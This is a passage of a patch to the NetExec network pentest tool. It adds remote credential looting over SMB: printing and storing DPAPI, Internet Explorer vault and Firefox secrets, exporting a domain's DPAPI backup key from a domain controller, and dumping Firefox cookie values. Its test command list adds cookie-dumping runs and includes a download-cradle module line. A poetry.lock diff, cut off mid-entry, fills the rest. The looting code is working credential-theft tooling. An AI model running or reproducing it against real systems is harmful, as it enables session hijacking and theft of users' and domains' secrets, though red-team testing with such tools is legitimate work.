BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback) + browser_triage.triage_browsers(gather_cookies=dump_cookies) + except Exception as e: + self.logger.debug(f"Error while looting browsers: {e}") - vaults = [] + def vault_callback(secret): + tag = "IEX" + if secret.type == "Internet Explorer": + resource = secret.resource + " -" if secret.resource != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}") + self.db.add_dpapi_secrets( + target.address, + tag, + secret.winuser, + secret.username, + secret.password, + secret.resource, + ) try: # Collect User Internet Explorer stored secrets - vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys) - vaults = vaults_triage.triage_vaults() + vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback) + vaults_triage.triage_vaults() except Exception as e: self.logger.debug(f"Error while looting vaults: {e}") - for vault in vaults: - if vault.type == "Internet Explorer": - resource = vault.resource + " -" if vault.resource != "" else "-" - self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}") + + def firefox_callback(secret): + tag = "FIREFOX" + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - "IEX", - vault.winuser, - vault.username, - vault.password, - vault.resource, + tag, + secret.winuser, + secret.username, + secret.password, + secret.url, ) + elif isinstance(secret, FirefoxCookie): + self.logger.highlight(f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") - firefox_credentials = [] try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn) - firefox_credentials = firefox_triage.run() + firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback) + firefox_triage.run(gather_cookies=dump_cookies) except Exception as e: self.logger.debug(f"Error while looting firefox: {e}") - for credential in firefox_credentials: - url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "FIREFOX", - credential.winuser, - credential.username, - credential.password, - credential.url, - ) - - if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials): - self.logger.fail("No secrets found") @requires_admin def lsa(self): diff --git a/nxc/protocols/smb/dpapi.py b/nxc/protocols/smb/dpapi.py new file mode 100644 index 000000000..9e041f113 --- /dev/null +++ b/nxc/protocols/smb/dpapi.py @@ -0,0 +1,97 @@ +from dploot.lib.target import Target +from dploot.lib.smb import DPLootSMBConnection +from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file + + +def get_domain_backup_key(context): + pvkbytes = None + try: + results = context.db.get_domain_backupkey(context.domain) + except Exception: + context.logger.fail( + "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ + 'workspace create dpapi' then re-run the dpapi option" + ) + return False + if len(results) > 0: + context.logger.success("Loading domain backupkey from nxcdb...") + pvkbytes = results[0][2] + elif context.no_da is None and context.args.local_auth is False: + try: + dc_target = Target.create( + domain=context.domain, + username=context.username, + password=context.password, + target=context.domain, # querying DNS server for domain will return DC + lmhash=context.lmhash, + nthash=context.nthash, + do_kerberos=context.kerberos, + aesKey=context.aesKey, + no_pass=True, + use_kcache=context.use_kcache, + ) + dc_conn = DPLootSMBConnection(dc_target) + dc_conn.connect() # Connect to DC + if dc_conn.is_admin(): + context.logger.success("User is Domain Administrator, exporting domain backupkey...") + backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) + backupkey = backupkey_triage.triage_backupkey() + pvkbytes = backupkey.backupkey_v2 + context.db.add_domain_backupkey(context.domain, pvkbytes) + else: + context.no_da = False + except Exception as e: + context.logger.fail(f"Could not get domain backupkey: {e}") + return pvkbytes + +def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True): + masterkeys = [] + plaintexts = {} + nthashes = {} + if context.args.mkfile is not None: + try: + masterkeys += parse_masterkey_file(context.args.mkfile) + except Exception as e: + context.logger.fail(str(e)) + if user: + plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} + nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} + if context.password != "": + plaintexts[context.username] = context.password + if context.nthash != "": + nthashes[context.username] = context.nthash + + # Collect User and Machine masterkeys + try: + context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...") + masterkeys_triage = MasterkeysTriage( + target=target, + conn=dploot_connection, + pvkbytes=context.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + dpapiSystem={}, + ) + context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") + if user: + context.logger.debug("Collecting user masterkeys") + masterkeys += masterkeys_triage.triage_masterkeys() + if system: + context.logger.debug("Collecting machine masterkeys") + masterkeys += masterkeys_triage.triage_system_masterkeys() + except Exception as e: + context.logger.debug(f"Could not get masterkeys: {e}") + + return masterkeys + +def upgrade_to_dploot_connection(target, connection=None): + conn = None + try: + conn = DPLootSMBConnection(target) + if connection is not None: + conn.smb_session = connection + conn.connect() + except Exception: + return None + return conn \ No newline at end of file diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index 01fb8266a..ec63705dc 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -7,10 +7,14 @@ from os import remove import sqlite3 import tempfile +from dataclasses import dataclass +from typing import Any from Cryptodome.Cipher import AES, DES3 from pyasn1.codec.der import decoder from dploot.lib.smb import DPLootSMBConnection +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + CKA_ID = unhexlify("f8000000000000000000000000000001") @@ -21,6 +25,16 @@ def __init__(self, winuser: str, url: str, username: str, password: str): self.username = username self.password = password +@dataclass +class FirefoxCookie: + winuser: str + host: str + path: str + cookie_name: str + cookie_value: str + creation_utc: str + expires_utc: str + last_access_utc: str class FirefoxTriage: """ @@ -41,23 +55,19 @@ class FirefoxTriage: "All Users", ) - def __init__(self, target, logger, conn: DPLootSMBConnection = None): + def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None): self.target = target self.logger = logger self.conn = conn - def upgrade_connection(self, connection=None): - self.conn = DPLootSMBConnection(self.target) - if connection is not None: - self.conn.smb_session = connection - else: - self.conn.connect() + self.per_secret_callback = per_secret_callback - def run(self): + def run(self, gather_cookies=False): if self.conn is None: - self.upgrade_connection() + upgrade_to_dploot_connection(target=self.target) firefox_data = [] + firefox_cookies = [] # list users users = self.get_users() for user in users: @@ -71,6 +81,11 @@ def run(self): continue for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]: try: + if gather_cookies: + cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite") + cookies_data = self.conn.readFile(self.share, cookies_path) + if cookies_data is not None: + firefox_cookies += self.parse_cookie_data(user, cookies_data) logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json" logins_data = self.conn.readFile(self.share, logins_path) if logins_data is None: @@ -79,7 +94,7 @@ def run(self): if len(logins) == 0: continue # No logins profile found key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db" - key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True) + key4_data = self.conn.readFile(self.share, key4_path) if key4_data is None: continue key = self.get_key(key4_data=key4_data) @@ -94,20 +109,45 @@ def run(self): decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8") password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8") if password is not None and decoded_username is not None: - firefox_data.append( - FirefoxData( + data = FirefoxData( winuser=user, url=host, username=decoded_username, password=password, ) - ) + if self.per_secret_callback is not None: + self.per_secret_callback(data) + firefox_data.append(data) except Exception as e: if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): continue self.logger.exception(e) return firefox_data + def parse_cookie_data(self, windows_user, cookies_data): + cookies = [] + fh = tempfile.NamedTemporaryFile(delete=False) + fh.write(cookies_data) + fh.seek(0) + db = sqlite3.connect(fh.name) + cursor = db.cursor() + cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;") + for name, value, host, path, expiry, lastAccessed, creationTime in cursor: + cookie = FirefoxCookie( + winuser=windows_user, + host=host, + path=path, + cookie_name=name, + cookie_value=value, + creation_utc=creationTime, + last_access_utc=lastAccessed, + expires_utc=expiry, + ) + if self.per_secret_callback is not None: + self.per_secret_callback(cookie) + cookies.append(cookie) + return cookies + def get_login_data(self, logins_data): json_logins = json.loads(logins_data) if "logins" not in json_logins: diff --git a/pyproject.toml b/pyproject.toml index 93f72049f..ea39d07c2 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -41,7 +41,7 @@ argcomplete = "^3.1.4" asyauth = ">=0.0.20" beautifulsoup4 = ">=4.11,<5" bloodhound = "^1.7.2" -dploot = "^2.7.4" +dploot = "^3.0.3" dsinternals = "^1.2.4" impacket = { git = "https://github.com/fortra/impacket.git" } lsassy = ">=3.1.11" diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 321aa9bb3..34537375a 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -72,6 +72,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -o COOKIES=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_autologin netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M gpp_password @@ -136,6 +137,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M uac netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M veeam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=enable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wdigest -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle From 2efaafaf92c5471fc74833a3d6951634fc0d91d0 Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 22 Nov 2024 17:33:10 +0100 Subject: [PATCH 2/2] update poetry.lock --- poetry.lock | 255 +++++++++++++++++++++++++++++++--------------------- 1 file changed, 151 insertions(+), 104 deletions(-) diff --git a/poetry.lock b/poetry.lock index 2e6149658..5b6fe359a 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. +# This file is automatically @generated by Poetry 1.8.4 and should not be changed by hand. [[package]] name = "aardwolf" @@ -679,19 +679,19 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "2.7.4" +version = "3.0.3" description = "DPAPI looting remotely in Python" optional = false -python-versions = "<4.0,>=3.7" +python-versions = "<4.0.0,>=3.10.0" files = [ - {file = "dploot-2.7.4-py3-none-any.whl", hash = "sha256:6f1748aead849bc7c8718fb206e201dbf2b1ad50f63d40d23b81c2827e8ac326"}, - {file = "dploot-2.7.4.tar.gz", hash = "sha256:2a74af7899533f2e511a1bfc12c3f1baba477ae392ba6260fd3da19ea7239634"}, + {file = "dploot-3.0.3-py3-none-any.whl", hash = "sha256:8d0a2c90e77594b4a7f5b4cee64f71b38d295da27151b5c4f5a0584a7d00ff3b"}, + {file = "dploot-3.0.3.tar.gz", hash = "sha256:301b8ef5a9c27bcc030feef6a51fdb16b579a40984216636a4a4af3d24ead324"}, ] [package.dependencies] cryptography = ">=40.0.1" -impacket = ">=0.10.0" -lxml = "4.9.3" +impacket = ">=0.12.0" +lxml = ">=5.0" pyasn1 = ">=0.4.8,<0.5.0" [[package]] @@ -1009,110 +1009,157 @@ rich = "*" [[package]] name = "lxml" -version = "4.9.3" +version = "5.3.0" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" -files = [ - {file = "lxml-4.9.3-cp27-cp27m-macosx_11_0_x86_64.whl", hash = "sha256:b0a545b46b526d418eb91754565ba5b63b1c0b12f9bd2f808c852d9b4b2f9b5c"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075b731ddd9e7f68ad24c635374211376aa05a281673ede86cbe1d1b3455279d"}, - {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1e224d5755dba2f4a9498e150c43792392ac9b5380aa1b845f98a1618c94eeef"}, - {file = "lxml-4.9.3-cp27-cp27m-win32.whl", hash = "sha256:2c74524e179f2ad6d2a4f7caf70e2d96639c0954c943ad601a9e146c76408ed7"}, - {file = "lxml-4.9.3-cp27-cp27m-win_amd64.whl", hash = "sha256:4f1026bc732b6a7f96369f7bfe1a4f2290fb34dce00d8644bc3036fb351a4ca1"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c0781a98ff5e6586926293e59480b64ddd46282953203c76ae15dbbbf302e8bb"}, - {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:cef2502e7e8a96fe5ad686d60b49e1ab03e438bd9123987994528febd569868e"}, - {file = "lxml-4.9.3-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b86164d2cff4d3aaa1f04a14685cbc072efd0b4f99ca5708b2ad1b9b5988a991"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:42871176e7896d5d45138f6d28751053c711ed4d48d8e30b498da155af39aebd"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:ae8b9c6deb1e634ba4f1930eb67ef6e6bf6a44b6eb5ad605642b2d6d5ed9ce3c"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:411007c0d88188d9f621b11d252cce90c4a2d1a49db6c068e3c16422f306eab8"}, - {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:cd47b4a0d41d2afa3e58e5bf1f62069255aa2fd6ff5ee41604418ca925911d76"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0e2cb47860da1f7e9a5256254b74ae331687b9672dfa780eed355c4c9c3dbd23"}, - {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1247694b26342a7bf47c02e513d32225ededd18045264d40758abeb3c838a51f"}, - {file = "lxml-4.9.3-cp310-cp310-win32.whl", hash = "sha256:cdb650fc86227eba20de1a29d4b2c1bfe139dc75a0669270033cb2ea3d391b85"}, - {file = "lxml-4.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:97047f0d25cd4bcae81f9ec9dc290ca3e15927c192df17331b53bebe0e3ff96d"}, - {file = "lxml-4.9.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:1f447ea5429b54f9582d4b955f5f1985f278ce5cf169f72eea8afd9502973dd5"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:57d6ba0ca2b0c462f339640d22882acc711de224d769edf29962b09f77129cbf"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:9767e79108424fb6c3edf8f81e6730666a50feb01a328f4a016464a5893f835a"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:71c52db65e4b56b8ddc5bb89fb2e66c558ed9d1a74a45ceb7dcb20c191c3df2f"}, - {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:d73d8ecf8ecf10a3bd007f2192725a34bd62898e8da27eb9d32a58084f93962b"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0a3d3487f07c1d7f150894c238299934a2a074ef590b583103a45002035be120"}, - {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e28c51fa0ce5674be9f560c6761c1b441631901993f76700b1b30ca6c8378d6"}, - {file = "lxml-4.9.3-cp311-cp311-win32.whl", hash = "sha256:0bfd0767c5c1de2551a120673b72e5d4b628737cb05414f03c3277bf9bed3305"}, - {file = "lxml-4.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:25f32acefac14ef7bd53e4218fe93b804ef6f6b92ffdb4322bb6d49d94cad2bc"}, - {file = "lxml-4.9.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:d3ff32724f98fbbbfa9f49d82852b159e9784d6094983d9a8b7f2ddaebb063d4"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:48d6ed886b343d11493129e019da91d4039826794a3e3027321c56d9e71505be"}, - {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9a92d3faef50658dd2c5470af249985782bf754c4e18e15afb67d3ab06233f13"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b4e4bc18382088514ebde9328da057775055940a1f2e18f6ad2d78aa0f3ec5b9"}, - {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fc9b106a1bf918db68619fdcd6d5ad4f972fdd19c01d19bdb6bf63f3589a9ec5"}, - {file = "lxml-4.9.3-cp312-cp312-win_amd64.whl", hash = "sha256:d37017287a7adb6ab77e1c5bee9bcf9660f90ff445042b790402a654d2ad81d8"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:56dc1f1ebccc656d1b3ed288f11e27172a01503fc016bcabdcbc0978b19352b7"}, - {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:578695735c5a3f51569810dfebd05dd6f888147a34f0f98d4bb27e92b76e05c2"}, - {file = "lxml-4.9.3-cp35-cp35m-win32.whl", hash = "sha256:704f61ba8c1283c71b16135caf697557f5ecf3e74d9e453233e4771d68a1f42d"}, - {file = "lxml-4.9.3-cp35-cp35m-win_amd64.whl", hash = "sha256:c41bfca0bd3532d53d16fd34d20806d5c2b1ace22a2f2e4c0008570bf2c58833"}, - {file = "lxml-4.9.3-cp36-cp36m-macosx_11_0_x86_64.whl", hash = "sha256:64f479d719dc9f4c813ad9bb6b28f8390360660b73b2e4beb4cb0ae7104f1c12"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:dd708cf4ee4408cf46a48b108fb9427bfa00b9b85812a9262b5c668af2533ea5"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c31c7462abdf8f2ac0577d9f05279727e698f97ecbb02f17939ea99ae8daa98"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:e3cd95e10c2610c360154afdc2f1480aea394f4a4f1ea0a5eacce49640c9b190"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:4930be26af26ac545c3dffb662521d4e6268352866956672231887d18f0eaab2"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4aec80cde9197340bc353d2768e2a75f5f60bacda2bab72ab1dc499589b3878c"}, - {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:14e019fd83b831b2e61baed40cab76222139926b1fb5ed0e79225bc0cae14584"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:0c0850c8b02c298d3c7006b23e98249515ac57430e16a166873fc47a5d549287"}, - {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:aca086dc5f9ef98c512bac8efea4483eb84abbf926eaeedf7b91479feb092458"}, - {file = "lxml-4.9.3-cp36-cp36m-win32.whl", hash = "sha256:50baa9c1c47efcaef189f31e3d00d697c6d4afda5c3cde0302d063492ff9b477"}, - {file = "lxml-4.9.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bef4e656f7d98aaa3486d2627e7d2df1157d7e88e7efd43a65aa5dd4714916cf"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:46f409a2d60f634fe550f7133ed30ad5321ae2e6630f13657fb9479506b00601"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:4c28a9144688aef80d6ea666c809b4b0e50010a2aca784c97f5e6bf143d9f129"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:141f1d1a9b663c679dc524af3ea1773e618907e96075262726c7612c02b149a4"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:53ace1c1fd5a74ef662f844a0413446c0629d151055340e9893da958a374f70d"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17a753023436a18e27dd7769e798ce302963c236bc4114ceee5b25c18c52c693"}, - {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7d298a1bd60c067ea75d9f684f5f3992c9d6766fadbc0bcedd39750bf344c2f4"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:081d32421db5df44c41b7f08a334a090a545c54ba977e47fd7cc2deece78809a"}, - {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:23eed6d7b1a3336ad92d8e39d4bfe09073c31bfe502f20ca5116b2a334f8ec02"}, - {file = "lxml-4.9.3-cp37-cp37m-win32.whl", hash = "sha256:1509dd12b773c02acd154582088820893109f6ca27ef7291b003d0e81666109f"}, - {file = "lxml-4.9.3-cp37-cp37m-win_amd64.whl", hash = "sha256:120fa9349a24c7043854c53cae8cec227e1f79195a7493e09e0c12e29f918e52"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4d2d1edbca80b510443f51afd8496be95529db04a509bc8faee49c7b0fb6d2cc"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8d7e43bd40f65f7d97ad8ef5c9b1778943d02f04febef12def25f7583d19baac"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:71d66ee82e7417828af6ecd7db817913cb0cf9d4e61aa0ac1fde0583d84358db"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:6fc3c450eaa0b56f815c7b62f2b7fba7266c4779adcf1cece9e6deb1de7305ce"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65299ea57d82fb91c7f019300d24050c4ddeb7c5a190e076b5f48a2b43d19c42"}, - {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:eadfbbbfb41b44034a4c757fd5d70baccd43296fb894dba0295606a7cf3124aa"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3e9bdd30efde2b9ccfa9cb5768ba04fe71b018a25ea093379c857c9dad262c40"}, - {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fcdd00edfd0a3001e0181eab3e63bd5c74ad3e67152c84f93f13769a40e073a7"}, - {file = "lxml-4.9.3-cp38-cp38-win32.whl", hash = "sha256:57aba1bbdf450b726d58b2aea5fe47c7875f5afb2c4a23784ed78f19a0462574"}, - {file = "lxml-4.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:92af161ecbdb2883c4593d5ed4815ea71b31fafd7fd05789b23100d081ecac96"}, - {file = "lxml-4.9.3-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:9bb6ad405121241e99a86efff22d3ef469024ce22875a7ae045896ad23ba2340"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8ed74706b26ad100433da4b9d807eae371efaa266ffc3e9191ea436087a9d6a7"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:fbf521479bcac1e25a663df882c46a641a9bff6b56dc8b0fafaebd2f66fb231b"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:303bf1edce6ced16bf67a18a1cf8339d0db79577eec5d9a6d4a80f0fb10aa2da"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:5515edd2a6d1a5a70bfcdee23b42ec33425e405c5b351478ab7dc9347228f96e"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:690dafd0b187ed38583a648076865d8c229661ed20e48f2335d68e2cf7dc829d"}, - {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:b6420a005548ad52154c8ceab4a1290ff78d757f9e5cbc68f8c77089acd3c432"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bb3bb49c7a6ad9d981d734ef7c7193bc349ac338776a0360cc671eaee89bcf69"}, - {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d27be7405547d1f958b60837dc4c1007da90b8b23f54ba1f8b728c78fdb19d50"}, - {file = "lxml-4.9.3-cp39-cp39-win32.whl", hash = "sha256:8df133a2ea5e74eef5e8fc6f19b9e085f758768a16e9877a60aec455ed2609b2"}, - {file = "lxml-4.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:4dd9a263e845a72eacb60d12401e37c616438ea2e5442885f65082c276dfb2b2"}, - {file = "lxml-4.9.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6689a3d7fd13dc687e9102a27e98ef33730ac4fe37795d5036d18b4d527abd35"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:f6bdac493b949141b733c5345b6ba8f87a226029cbabc7e9e121a413e49441e0"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:05186a0f1346ae12553d66df1cfce6f251589fea3ad3da4f3ef4e34b2d58c6a3"}, - {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c2006f5c8d28dee289f7020f721354362fa304acbaaf9745751ac4006650254b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-macosx_11_0_x86_64.whl", hash = "sha256:5c245b783db29c4e4fbbbfc9c5a78be496c9fea25517f90606aa1f6b2b3d5f7b"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4fb960a632a49f2f089d522f70496640fdf1218f1243889da3822e0a9f5f3ba7"}, - {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl", hash = "sha256:50670615eaf97227d5dc60de2dc99fb134a7130d310d783314e7724bf163f75d"}, - {file = 